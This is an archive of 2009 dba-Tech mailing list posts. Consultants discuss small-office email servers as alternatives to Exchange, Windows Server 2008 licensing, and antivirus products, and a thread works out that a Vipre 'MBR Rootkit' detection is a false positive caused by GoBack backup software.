Chinese (simplified).




From marklbreen at gmail.com  Tue Apr  7 13:02:10 2009
From: marklbreen at gmail.com (Mark Breen)
Date: Tue, 7 Apr 2009 19:02:10 +0100
Subject: [dba-Tech] looking for an alternative to Exchange
In-Reply-To: <017301c9b7a2$3cd35e80$b67a1b80$@net>
References: <Acm3oZSQwZRkThgTTbKeKfMxI8aW2g==>
	<017301c9b7a2$3cd35e80$b67a1b80$@net>
Message-ID: <c7fd28d00904071102m764c0132s3fcd8d5e9098177d@mail.gmail.com>

Hello John,

I switched a 10 user site to Google App two and a half years ago.  Currently
they have about 50 users, approx 10 are intensive users.

It is not onsite, but the benefits of it are worth looking at

no backups
no av
no spyware
no spam
completely free
almost 100% up time in two years
always fast
plenty of storage

I am still looking for a downside.

If users demand to use outlook, you can give them pop3 access, but the web
based interface is really the way to go.

You can run the google apps mail, but leave the website hosted where it is.

I really like this product.

Mark



2009/4/7 John Bartow <john at winhaven.net>

> To put it a simply as I can. I'm looking for an email server system that
> can
> handle incoming/outgoing internet email addresses but can also redirect the
> email sent to inter-office addresses so that they don't need to leave the
> network. Open source (or low cost) for Windows Server 20003/2008 would be
> great.
>
> _______________________________________________
> dba-Tech mailing list
> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
> Website: http://www.databaseadvisors.com
>


From john at winhaven.net  Tue Apr  7 13:21:13 2009
From: john at winhaven.net (John Bartow)
Date: Tue, 7 Apr 2009 13:21:13 -0500
Subject: [dba-Tech] looking for an alternative to Exchange
In-Reply-To: <c7fd28d00904071102m764c0132s3fcd8d5e9098177d@mail.gmail.com>
References: <Acm3oZSQwZRkThgTTbKeKfMxI8aW2g==>	<017301c9b7a2$3cd35e80$b67a1b80$@net>
	<c7fd28d00904071102m764c0132s3fcd8d5e9098177d@mail.gmail.com>
Message-ID: <01fb01c9b7ad$a2470b80$e6d52280$@net>

Mark,
Problem is the Internet service goes down the email system goes down. That's
where they're at now. The service is awful and there's little I can do to
address that. I can however, set up a better system for them internally.
They have cable.

Another client is just proving to be un-trainable in regards to using their
file server for transferring files to each other. They email huge
attachments to the person in the next room. It's just the most ridiculous
thing I can think of and I have talked to the manager about it a number of
times over the last couple of years. She doesn't have a problem with it
(until of course, they can't get anything to work via the internet because
it is so clogged with huge email attachments!) Their internet service has
also become totally unreliable over the last couple of months. They have
DSL.

Exchange Server came to mind but neither of these clients has the staff to
admin/maintain Exchange or the budget to support me doing it.

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Mark Breen
Sent: Tuesday, April 07, 2009 1:02 PM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] looking for an alternative to Exchange

Hello John,

I switched a 10 user site to Google App two and a half years ago.  Currently
they have about 50 users, approx 10 are intensive users.

It is not onsite, but the benefits of it are worth looking at

no backups
no av
no spyware
no spam
completely free
almost 100% up time in two years
always fast
plenty of storage

I am still looking for a downside.

If users demand to use outlook, you can give them pop3 access, but the web
based interface is really the way to go.

You can run the google apps mail, but leave the website hosted where it is.

I really like this product.

Mark



2009/4/7 John Bartow <john at winhaven.net>

> To put it a simply as I can. I'm looking for an email server system that
> can
> handle incoming/outgoing internet email addresses but can also redirect
the
> email sent to inter-office addresses so that they don't need to leave the
> network. Open source (or low cost) for Windows Server 20003/2008 would be
> great.
>
> _______________________________________________
> dba-Tech mailing list
> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
> Website: http://www.databaseadvisors.com
>
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From accessd at shaw.ca  Tue Apr  7 13:31:00 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Tue, 7 Apr 2009 11:31:00 -0700
Subject: [dba-Tech] Windows Server 2008
In-Reply-To: <01c901c9b7a7$364765c0$a2d63140$@net>
References: <01c901c9b7a7$364765c0$a2d63140$@net>
Message-ID: <5165360EC8CA4AE5BA63510E223017A6@creativesystemdesigns.com>

Hi John:

I use it as the backbone to my own server system and as the backup Active
Directory server and it is really smooth with an intuitional interface
(pseudo Vista without the issues). The Hyper-V technology is very quick,
though I have still have a great reluctance to place my virtual servers into
a proprietary framework.

There is still a couple (3?) free admin remote connections for support.

Jim  

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of John Bartow
Sent: Tuesday, April 07, 2009 10:35 AM
To: _DBA-Tech
Subject: [dba-Tech] Windows Server 2008

Anyone have great experiences with Windows Server 2008 - so much so that you
recommend it over Windows Server 2003R2?


I find the new OEM Windows Server 2008 Foundation version licensing should
make life easier:

Windows Server 2008 Foundation Availability and Licensing

Windows Server 2008 Foundation is licensed by user accounts. Each license of
Windows Server 2008 Foundation is limited to a maximum of 15 user accounts.
Moreover, a user account can be assigned to only one distinct user at a
time.

Because Windows Server 2008 Foundation is licensed in this way, you do not
require Windows Server client access licenses (CALs). This also makes
Windows Server 2008 Foundation much more cost effective for small
businesses. Although Windows Server 2008 Foundation does not require Windows
Server CALs, TS CALs or Rights Management CALs are required to use those
server roles on a Windows Server 2008 Foundation-based server. 

Windows Server 2008 Foundation is available through Original Equipment
Manufacturers (OEMs) only. Please visit the Find a Partner page to find your
local OEM, or contact your preferred OEM directly. Windows Server 2008
Foundation will be released in the following languages: English, Spanish,
Turkish, Portuguese (Brazilian), Japanese, and Chinese (traditional),
Chinese (simplified).

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From ssharkins at gmail.com  Tue Apr  7 13:37:43 2009
From: ssharkins at gmail.com (Susan Harkins)
Date: Tue, 7 Apr 2009 14:37:43 -0400
Subject: [dba-Tech] Can I dump Live Search?
Message-ID: <CE2298E06B764EE2BF13E992A52273A4@SusanOne>

How can I disable Live Search? I hate it -- and I don't even know how it 
gets engaged -- I'm using goggle.com and the next thing I know, I'm in Live 
Search. It's driving me nuts!

Susan H. 



From accessd at shaw.ca  Tue Apr  7 13:40:41 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Tue, 7 Apr 2009 11:40:41 -0700
Subject: [dba-Tech] looking for an alternative to Exchange
In-Reply-To: <01fb01c9b7ad$a2470b80$e6d52280$@net>
References: <Acm3oZSQwZRkThgTTbKeKfMxI8aW2g==@prod.shaw.ca>
	<017301c9b7a2$3cd35e80$b67a1b80$@net>
	<c7fd28d00904071102m764c0132s3fcd8d5e9098177d@mail.gmail.com>
	<01fb01c9b7ad$a2470b80$e6d52280$@net>
Message-ID: <A74C9BC4E01D4C1981A46751BA5DB9E6@creativesystemdesigns.com>

John:

Most of my major clients, which are banks, do all their services through
remote connections via big centralized Cytrix servers and more of these
clients are moving that way every day.

I have always had my doubts about systems so tied to the internet but
according to their stats the risk of local equipment failing plus the extra
costs of support make this method actually safer and more reliable.

Jim 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of John Bartow
Sent: Tuesday, April 07, 2009 11:21 AM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] looking for an alternative to Exchange

Mark,
Problem is the Internet service goes down the email system goes down. That's
where they're at now. The service is awful and there's little I can do to
address that. I can however, set up a better system for them internally.
They have cable.

Another client is just proving to be un-trainable in regards to using their
file server for transferring files to each other. They email huge
attachments to the person in the next room. It's just the most ridiculous
thing I can think of and I have talked to the manager about it a number of
times over the last couple of years. She doesn't have a problem with it
(until of course, they can't get anything to work via the internet because
it is so clogged with huge email attachments!) Their internet service has
also become totally unreliable over the last couple of months. They have
DSL.

Exchange Server came to mind but neither of these clients has the staff to
admin/maintain Exchange or the budget to support me doing it.

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Mark Breen
Sent: Tuesday, April 07, 2009 1:02 PM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] looking for an alternative to Exchange

Hello John,

I switched a 10 user site to Google App two and a half years ago.  Currently
they have about 50 users, approx 10 are intensive users.

It is not onsite, but the benefits of it are worth looking at

no backups
no av
no spyware
no spam
completely free
almost 100% up time in two years
always fast
plenty of storage

I am still looking for a downside.

If users demand to use outlook, you can give them pop3 access, but the web
based interface is really the way to go.

You can run the google apps mail, but leave the website hosted where it is.

I really like this product.

Mark



2009/4/7 John Bartow <john at winhaven.net>

> To put it a simply as I can. I'm looking for an email server system that
> can
> handle incoming/outgoing internet email addresses but can also redirect
the
> email sent to inter-office addresses so that they don't need to leave the
> network. Open source (or low cost) for Windows Server 20003/2008 would be
> great.
>
> _______________________________________________
> dba-Tech mailing list
> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
> Website: http://www.databaseadvisors.com
>
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From rustykh at yahoo.com  Tue Apr  7 13:44:29 2009
From: rustykh at yahoo.com (Rusty Hammond)
Date: Tue, 7 Apr 2009 11:44:29 -0700 (PDT)
Subject: [dba-Tech] looking for an alternative to Exchange
In-Reply-To: <01fb01c9b7ad$a2470b80$e6d52280$@net>
References: <Acm3oZSQwZRkThgTTbKeKfMxI8aW2g==>
	<017301c9b7a2$3cd35e80$b67a1b80$@net>
	<c7fd28d00904071102m764c0132s3fcd8d5e9098177d@mail.gmail.com>
	<01fb01c9b7ad$a2470b80$e6d52280$@net>
Message-ID: <96302.6916.qm@web65405.mail.ac4.yahoo.com>

John,

How big are your clients?

You can get the full version of Small Business Server 2003 Standard Edition, that includes Exchange Server, for $400, or the upgrade for $300.? This comes with 5 CAL's (Client Access Licenses).

I just went to Buy.com and searched for Small Business Server.

I've installed SBS 2003 at 3 different locations, and once setup, I rarely have done anything with Exchange Server as far as maintenance.? One site with 24 users, one with 7 users, and one with 9 users.? Most of the time I just use logmein to connect to the server and do whatever needs done, which is usually setting up a new user on the system (which automatically gets an Exchange account), or removing a user.

HTH

Rusty



________________________________
From: John Bartow <john at winhaven.net>
To: Discussion of Hardware and Software issues <dba-tech at databaseadvisors.com>
Sent: Tuesday, April 7, 2009 1:21:13 PM
Subject: Re: [dba-Tech] looking for an alternative to Exchange

Mark,
Problem is the Internet service goes down the email system goes down. That's
where they're at now. The service is awful and there's little I can do to
address that. I can however, set up a better system for them internally.
They have cable.

Another client is just proving to be un-trainable in regards to using their
file server for transferring files to each other. They email huge
attachments to the person in the next room. It's just the most ridiculous
thing I can think of and I have talked to the manager about it a number of
times over the last couple of years. She doesn't have a problem with it
(until of course, they can't get anything to work via the internet because
it is so clogged with huge email attachments!) Their internet service has
also become totally unreliable over the last couple of months. They have
DSL.

Exchange Server came to mind but neither of these clients has the staff to
admin/maintain Exchange or the budget to support me doing it.

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Mark Breen
Sent: Tuesday, April 07, 2009 1:02 PM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] looking for an alternative to Exchange

Hello John,

I switched a 10 user site to Google App two and a half years ago.? Currently
they have about 50 users, approx 10 are intensive users.

It is not onsite, but the benefits of it are worth looking at

no backups
no av
no spyware
no spam
completely free
almost 100% up time in two years
always fast
plenty of storage

I am still looking for a downside.

If users demand to use outlook, you can give them pop3 access, but the web
based interface is really the way to go.

You can run the google apps mail, but leave the website hosted where it is.

I really like this product.

Mark



2009/4/7 John Bartow <john at winhaven.net>

> To put it a simply as I can. I'm looking for an email server system that
> can
> handle incoming/outgoing internet email addresses but can also redirect
the
> email sent to inter-office addresses so that they don't need to leave the
> network. Open source (or low cost) for Windows Server 20003/2008 would be
> great.
>
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From EdTesiny at oasas.state.ny.us  Tue Apr  7 14:41:34 2009
From: EdTesiny at oasas.state.ny.us (Tesiny, Ed)
Date: Tue, 7 Apr 2009 15:41:34 -0400
Subject: [dba-Tech] Can I dump Live Search?
In-Reply-To: <CE2298E06B764EE2BF13E992A52273A4@SusanOne>
References: <CE2298E06B764EE2BF13E992A52273A4@SusanOne>
Message-ID: <F7F17F79CF2A60418DC957FA11069BC701551277@ALBMX2K3.rt.oasas.state.ny.us>

Tools-->Options, General Tab, Search Settings, remove live search 


Ed Tesiny
EdTesiny at oasas.state.ny.us 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Susan
Harkins
Sent: Tuesday, April 07, 2009 2:38 PM
To: DBA Tech List
Subject: [dba-Tech] Can I dump Live Search?

How can I disable Live Search? I hate it -- and I don't even know how it
gets engaged -- I'm using goggle.com and the next thing I know, I'm in
Live Search. It's driving me nuts!

Susan H. 

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From ssharkins at gmail.com  Tue Apr  7 14:55:28 2009
From: ssharkins at gmail.com (Susan Harkins)
Date: Tue, 7 Apr 2009 15:55:28 -0400
Subject: [dba-Tech] Can I dump Live Search?
References: <CE2298E06B764EE2BF13E992A52273A4@SusanOne>
	<F7F17F79CF2A60418DC957FA11069BC701551277@ALBMX2K3.rt.oasas.state.ny.us>
Message-ID: <FF6EEE068A78420A85A31FD9F0C766E4@SusanOne>

Thanks Ed -- I didn't click  Settings before, so I just didn't find it --  
wasn't sure what I was looking for.

It forced me to name a default, and I chose Google -- I just think that's 
nuts -- forcing me to choose a default search engine. :(

Susan H.



> Tools-->Options, General Tab, Search Settings, remove live search



From Gustav at cactus.dk  Tue Apr  7 15:40:07 2009
From: Gustav at cactus.dk (Gustav Brock)
Date: Tue, 07 Apr 2009 22:40:07 +0200
Subject: [dba-Tech] looking for an alternative to Exchange
Message-ID: <s9dbd66c.064@cactus.dk>

Hi Mark

Had this discussion with a client, and a complaint was that if you start typing a mail but get interrupted, the session will time out and the draft is lost.
Also, some sort of alternative backup is needed; for business use, don't ever trust a single backup method.

But the deal of Google is hard to beat.

/gustav

>>> marklbreen at gmail.com 07-04-2009 20:02 >>>
Hello John,

I switched a 10 user site to Google App two and a half years ago.  Currently
they have about 50 users, approx 10 are intensive users.

It is not onsite, but the benefits of it are worth looking at

no backups
no av
no spyware
no spam
completely free
almost 100% up time in two years
always fast
plenty of storage

I am still looking for a downside.

If users demand to use outlook, you can give them pop3 access, but the web
based interface is really the way to go.

You can run the google apps mail, but leave the website hosted where it is.

I really like this product.

Mark



2009/4/7 John Bartow <john at winhaven.net>

> To put it a simply as I can. I'm looking for an email server system that
> can
> handle incoming/outgoing internet email addresses but can also redirect the
> email sent to inter-office addresses so that they don't need to leave the
> network. Open source (or low cost) for Windows Server 20003/2008 would be
> great.




From stuart at lexacorp.com.pg  Tue Apr  7 15:45:17 2009
From: stuart at lexacorp.com.pg (Stuart McLachlan)
Date: Wed, 08 Apr 2009 06:45:17 +1000
Subject: [dba-Tech] looking for an alternative to Exchange
In-Reply-To: <017301c9b7a2$3cd35e80$b67a1b80$@net>
References: <017301c9b7a2$3cd35e80$b67a1b80$@net>
Message-ID: <49DBBB5D.20911.18CC057E@stuart.lexacorp.com.pg>

Mercury Mail Server!
http://www.pmail.com

If you have any questions about setting it up, email me off-list

-- 
Stuart

On 7 Apr 2009 at 11:59, John Bartow wrote:

> To put it a simply as I can. I'm looking for an email server system that can
> handle incoming/outgoing internet email addresses but can also redirect the
> email sent to inter-office addresses so that they don't need to leave the
> network. Open source (or low cost) for Windows Server 20003/2008 would be
> great.
> 
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From stuart at lexacorp.com.pg  Tue Apr  7 15:49:49 2009
From: stuart at lexacorp.com.pg (Stuart McLachlan)
Date: Wed, 08 Apr 2009 06:49:49 +1000
Subject: [dba-Tech] looking for an alternative to Exchange
In-Reply-To: <01fb01c9b7ad$a2470b80$e6d52280$@net>
References: <Acm3oZSQwZRkThgTTbKeKfMxI8aW2g==>,
	<c7fd28d00904071102m764c0132s3fcd8d5e9098177d@mail.gmail.com>,
	<01fb01c9b7ad$a2470b80$e6d52280$@net>
Message-ID: <49DBBC6D.13449.18D029FE@stuart.lexacorp.com.pg>

That and the fact that you are trusting your corporate data to a third party who has no 
obligation to you and whom you have no control over.


On 7 Apr 2009 at 13:21, John Bartow wrote:

> Mark,
> Problem is the Internet service goes down the email system goes down. That's
> where they're at now. The service is awful and there's little I can do to
> address that. I can however, set up a better system for them internally.
> They have cable.
> 
> Another client is just proving to be un-trainable in regards to using their
> file server for transferring files to each other. They email huge
> attachments to the person in the next room. It's just the most ridiculous
> thing I can think of and I have talked to the manager about it a number of
> times over the last couple of years. She doesn't have a problem with it
> (until of course, they can't get anything to work via the internet because
> it is so clogged with huge email attachments!) Their internet service has
> also become totally unreliable over the last couple of months. They have
> DSL.
> 
> Exchange Server came to mind but neither of these clients has the staff to
> admin/maintain Exchange or the budget to support me doing it.
> 
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Mark Breen
> Sent: Tuesday, April 07, 2009 1:02 PM
> To: Discussion of Hardware and Software issues
> Subject: Re: [dba-Tech] looking for an alternative to Exchange
> 
> Hello John,
> 
> I switched a 10 user site to Google App two and a half years ago.  Currently
> they have about 50 users, approx 10 are intensive users.
> 
> It is not onsite, but the benefits of it are worth looking at
> 
> no backups
> no av
> no spyware
> no spam
> completely free
> almost 100% up time in two years
> always fast
> plenty of storage
> 



From stuart at lexacorp.com.pg  Tue Apr  7 15:54:07 2009
From: stuart at lexacorp.com.pg (Stuart McLachlan)
Date: Wed, 08 Apr 2009 06:54:07 +1000
Subject: [dba-Tech] looking for an alternative to Exchange
In-Reply-To: <A74C9BC4E01D4C1981A46751BA5DB9E6@creativesystemdesigns.com>
References: <Acm3oZSQwZRkThgTTbKeKfMxI8aW2g==@prod.shaw.ca>,
	<01fb01c9b7ad$a2470b80$e6d52280$@net>,
	<A74C9BC4E01D4C1981A46751BA5DB9E6@creativesystemdesigns.com>
Message-ID: <49DBBD6F.8057.18D419AA@stuart.lexacorp.com.pg>

Until this happens:

http://www.theregister.co.uk/2009/04/06/bt_exchange_problems/

> 
> I have always had my doubts about systems so tied to the internet but
> according to their stats the risk of local equipment failing plus the extra
> costs of support make this method actually safer and more reliable.



From hkotsch at arcor.de  Tue Apr  7 16:54:40 2009
From: hkotsch at arcor.de (Helmut Kotsch)
Date: Tue, 7 Apr 2009 23:54:40 +0200
Subject: [dba-Tech] Avira
In-Reply-To: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005>
Message-ID: <JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de>

Can't say because I didn't test AVG. I trust Avira because it is a German
quality product like Mercedes, BMW and Porsche.

Helmut

-----Ursprungliche Nachricht-----
Von: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com]Im Auftrag von Rocky
Smolin
Gesendet: Dienstag, 7. April 2009 14:56
An: 'Discussion of Hardware and Software issues'
Betreff: Re: [dba-Tech] Avira


Do you think it's more effective than AVG?

Rocky


-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Helmut Kotsch
Sent: Tuesday, April 07, 2009 1:15 AM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] Avira

Rocky,
I use "Avira Premium Security Suite" for 3 PC's (59.95 EURO) all the time
and am very happy with it. They update the key files a couple of times
during the day. The disadvantage of the free version is, besides missing
some features, that the server for the free version daily updates is very
slow.
Their link is: http://www.avira.com/en/solutions/home_home_office.html

Helmut

-----Ursprungliche Nachricht-----
Von: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com]Im Auftrag von Rocky Smolin
Gesendet: Dienstag, 7. April 2009 01:08
An: List
Betreff: [dba-Tech] Avira


Anybody know anything about Avira anti-virus software?



Rocky




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From stuart at lexacorp.com.pg  Wed Apr  8 17:23:53 2009
From: stuart at lexacorp.com.pg (Stuart McLachlan)
Date: Thu, 09 Apr 2009 08:23:53 +1000
Subject: [dba-Tech] looking for an alternative to Exchange
In-Reply-To: <49DBBD6F.8057.18D419AA@stuart.lexacorp.com.pg>
References: <Acm3oZSQwZRkThgTTbKeKfMxI8aW2g==@prod.shaw.ca>,
	<A74C9BC4E01D4C1981A46751BA5DB9E6@creativesystemdesigns.com>,
	<49DBBD6F.8057.18D419AA@stuart.lexacorp.com.pg>
Message-ID: <49DD23F9.31061.451519F@stuart.lexacorp.com.pg>

And an even bigger one a few days later:
http://www.theregister.co.uk/2009/04/08/nothern_territory_telstra/

BTW, they still haven't completely fixed the London one.
http://www.theregister.co.uk/2009/04/08/bt_hole_hits_vodafone/
 

On 8 Apr 2009 at 6:54, Stuart McLachlan wrote:

> Until this happens:
> 
> http://www.theregister.co.uk/2009/04/06/bt_exchange_problems/
> 
> > 
> > I have always had my doubts about systems so tied to the internet but
> > according to their stats the risk of local equipment failing plus the extra
> > costs of support make this method actually safer and more reliable.
> 
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From john at winhaven.net  Wed Apr  8 22:56:39 2009
From: john at winhaven.net (John Bartow)
Date: Wed, 8 Apr 2009 22:56:39 -0500
Subject: [dba-Tech] Security results
In-Reply-To: <JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de>
References: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005>
	<JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de>
Message-ID: <002201c9b8c7$2fd8a660$8f89f320$@net>

Fwiw, this is the latest Conficker sample and the vendor coverage:

http://www.virustotal.com/analisis/ac2fd327561be9475954db4070d834bb




From accessd at shaw.ca  Thu Apr  9 00:21:16 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Wed, 8 Apr 2009 22:21:16 -0700
Subject: [dba-Tech] Security results
In-Reply-To: <002201c9b8c7$2fd8a660$8f89f320$@net>
References: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005>
	<JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de>
	<002201c9b8c7$2fd8a660$8f89f320$@net>
Message-ID: <4E674F625627498E88765F20ADF28DE5@creativesystemdesigns.com>

That is real cool... That would be really great if it could be used against
a whole computer.

Jim

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Sent: Wednesday, April 08, 2009 8:57 PM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Security results

Fwiw, this is the latest Conficker sample and the vendor coverage:

http://www.virustotal.com/analisis/ac2fd327561be9475954db4070d834bb


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From lembit.dbamail at t-online.de  Thu Apr  9 04:01:38 2009
From: lembit.dbamail at t-online.de (Lembit Soobik)
Date: Thu, 9 Apr 2009 11:01:38 +0200
Subject: [dba-Tech] Generic MBR Rootkit and Vipre
References: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005><JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de><002201c9b8c7$2fd8a660$8f89f320$@net>
	<4E674F625627498E88765F20ADF28DE5@creativesystemdesigns.com>
Message-ID: <708A902B56F249B7AC37754D4EE37287@s1800>

Hi,
I have just installed Vipre on an old Win2K PC and the first scan found a 
"Generic MBR Rootkit", recommended action "Quarantaine".
when I clicked "Clean", it showed up as "Allowed".
scanned again, found the rootkit again, this time I definetely set it to 
"Delete", hit Clean and again it shows up as allowed.

Obviously this kid is able to cheat Vipre.

just ran Malwarebytes, which did not find that rootkit - at least not with 
quickscan. now running deep scan.

any idea how to get rid of that beast?

thanks
Lembit 



From jon.tydda at lonza.com  Thu Apr  9 04:05:16 2009
From: jon.tydda at lonza.com (Tydda Jon - Slough)
Date: Thu, 9 Apr 2009 11:05:16 +0200
Subject: [dba-Tech] Generic MBR Rootkit and Vipre
In-Reply-To: <708A902B56F249B7AC37754D4EE37287@s1800>
References: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005><JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de><002201c9b8c7$2fd8a660$8f89f320$@net>
	<4E674F625627498E88765F20ADF28DE5@creativesystemdesigns.com>
	<708A902B56F249B7AC37754D4EE37287@s1800>
Message-ID: <A750CC0AAE63CB489C58478FF67DE632068464D123@chvex03.lonzagroup.net>

Hi Lembit

Can you run Vipre when you boot into safe mode? Lots of drivers etc aren't loaded in safe mode, so you might be able to remove it. Otherwise, try googling for specific removal tools. Some anti-virus companies make tools to remove specific individual infections, I remember they all did one for Sasser, maybe there's one for this one?

Hope this helps


Jon

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Sent: Thursday, April 09, 2009 10:02 AM
To: Discussion of Hardware and Software issues
Subject: [dba-Tech] Generic MBR Rootkit and Vipre

Hi,
I have just installed Vipre on an old Win2K PC and the first scan found a "Generic MBR Rootkit", recommended action "Quarantaine".
when I clicked "Clean", it showed up as "Allowed".
scanned again, found the rootkit again, this time I definetely set it to "Delete", hit Clean and again it shows up as allowed.

Obviously this kid is able to cheat Vipre.

just ran Malwarebytes, which did not find that rootkit - at least not with quickscan. now running deep scan.

any idea how to get rid of that beast?

thanks
Lembit

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From jon.tydda at lonza.com  Thu Apr  9 04:19:43 2009
From: jon.tydda at lonza.com (Tydda Jon - Slough)
Date: Thu, 9 Apr 2009 11:19:43 +0200
Subject: [dba-Tech] Generic MBR Rootkit and Vipre
In-Reply-To: <708A902B56F249B7AC37754D4EE37287@s1800>
References: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005><JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de><002201c9b8c7$2fd8a660$8f89f320$@net>
	<4E674F625627498E88765F20ADF28DE5@creativesystemdesigns.com>
	<708A902B56F249B7AC37754D4EE37287@s1800>
Message-ID: <A750CC0AAE63CB489C58478FF67DE632068464D149@chvex03.lonzagroup.net>

Although, having googled it myself, you should look at this thread on the Vipre page:

http://support.sunbeltsoftware.com/Default.aspx?answerid=1851

Answer ID:  1851 Product:  VIPRE
Last Updated:  4/1/2009

VIPRE found "Generic MBR Rootkit"

Question
What can I do about this "Generic MBR Rootkit"?

Answer
VIPRE is identifying a false positive on your computer.  A false positive occurs when a virus scanner erroneously detects a 'virus' in a non-infected file. False positives result when the definition file used to detect a particular virus is not unique to the virus - i.e. the same signature appears in legitimate, non-infected software.


The Generic MBR Rootkit that VIPRE is detecting is caused by a hidden partition on your computer. This hidden partition is in part generated by an active Backup software. e.g. Norton's GoBack, Roxio's GoBack, FarStone's DriveClone Pro & RestoreIT.


The trace for this threat, in the detail summery looks something like this:
- **<trace type="32" dispValue="""."PhysicalDrive0">**
 ** <attr n="path" v="""."PhysicalDrive0" />**

We are currently working on correcting this false positive. In the meantime, you can set VIPRE to "always allow" this detection the next time the scan detects it.


Also, this page tells you how to report a false positive: http://www.sunbeltsecurity.com/Submit.aspx?type=falsePositive&cs=5104D20A8309C784EE7BCD8BFF85EB45

And this one might help too: http://getsatisfaction.com/sunbeltsoftware/topics/need_help_with_mbr_rootkit_removal



Jon


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Sent: Thursday, April 09, 2009 10:02 AM
To: Discussion of Hardware and Software issues
Subject: [dba-Tech] Generic MBR Rootkit and Vipre

Hi,
I have just installed Vipre on an old Win2K PC and the first scan found a "Generic MBR Rootkit", recommended action "Quarantaine".
when I clicked "Clean", it showed up as "Allowed".
scanned again, found the rootkit again, this time I definetely set it to "Delete", hit Clean and again it shows up as allowed.

Obviously this kid is able to cheat Vipre.

just ran Malwarebytes, which did not find that rootkit - at least not with quickscan. now running deep scan.

any idea how to get rid of that beast?

thanks
Lembit

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From lembit.dbamail at t-online.de  Thu Apr  9 04:57:30 2009
From: lembit.dbamail at t-online.de (Lembit Soobik)
Date: Thu, 9 Apr 2009 11:57:30 +0200
Subject: [dba-Tech] Generic MBR Rootkit and Vipre
References: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005><JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de><002201c9b8c7$2fd8a660$8f89f320$@net><4E674F625627498E88765F20ADF28DE5@creativesystemdesigns.com><708A902B56F249B7AC37754D4EE37287@s1800>
	<A750CC0AAE63CB489C58478FF67DE632068464D149@chvex03.lonzagroup.net>
Message-ID: <E7B16040C0FC428A83588ABD743E371E@s1800>

Thank you, Jon,
that explains it. I do have Goback.
Also explains why Malwarebytes did not find it.

Thanks a lot for your help
Lembit

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To: "Discussion of Hardware and Software issues" 
<dba-tech at databaseadvisors.com>
Sent: Thursday, April 09, 2009 11:19 AM
Subject: Re: [dba-Tech] Generic MBR Rootkit and Vipre


> Although, having googled it myself, you should look at this thread on the 
> Vipre page:
>
> http://support.sunbeltsoftware.com/Default.aspx?answerid=1851
>
> Answer ID:  1851 Product:  VIPRE
> Last Updated:  4/1/2009
>
> VIPRE found "Generic MBR Rootkit"
>
> Question
> What can I do about this "Generic MBR Rootkit"?
>
> Answer
> VIPRE is identifying a false positive on your computer.  A false positive 
> occurs when a virus scanner erroneously detects a 'virus' in a 
> non-infected file. False positives result when the definition file used to 
> detect a particular virus is not unique to the virus - i.e. the same 
> signature appears in legitimate, non-infected software.
>
>
> The Generic MBR Rootkit that VIPRE is detecting is caused by a hidden 
> partition on your computer. This hidden partition is in part generated by 
> an active Backup software. e.g. Norton's GoBack, Roxio's GoBack, 
> FarStone's DriveClone Pro & RestoreIT.
>
>
> The trace for this threat, in the detail summery looks something like 
> this:
> - **<trace type="32" dispValue="""."PhysicalDrive0">**
> ** <attr n="path" v="""."PhysicalDrive0" />**
>
> We are currently working on correcting this false positive. In the 
> meantime, you can set VIPRE to "always allow" this detection the next time 
> the scan detects it.
>
>
> Also, this page tells you how to report a false positive: 
> http://www.sunbeltsecurity.com/Submit.aspx?type=falsePositive&cs=5104D20A8309C784EE7BCD8BFF85EB45
>
> And this one might help too: 
> http://getsatisfaction.com/sunbeltsoftware/topics/need_help_with_mbr_rootkit_removal
>
>
>
> Jon
>
>
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com 
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Lembit Soobik
> Sent: Thursday, April 09, 2009 10:02 AM
> To: Discussion of Hardware and Software issues
> Subject: [dba-Tech] Generic MBR Rootkit and Vipre
>
> Hi,
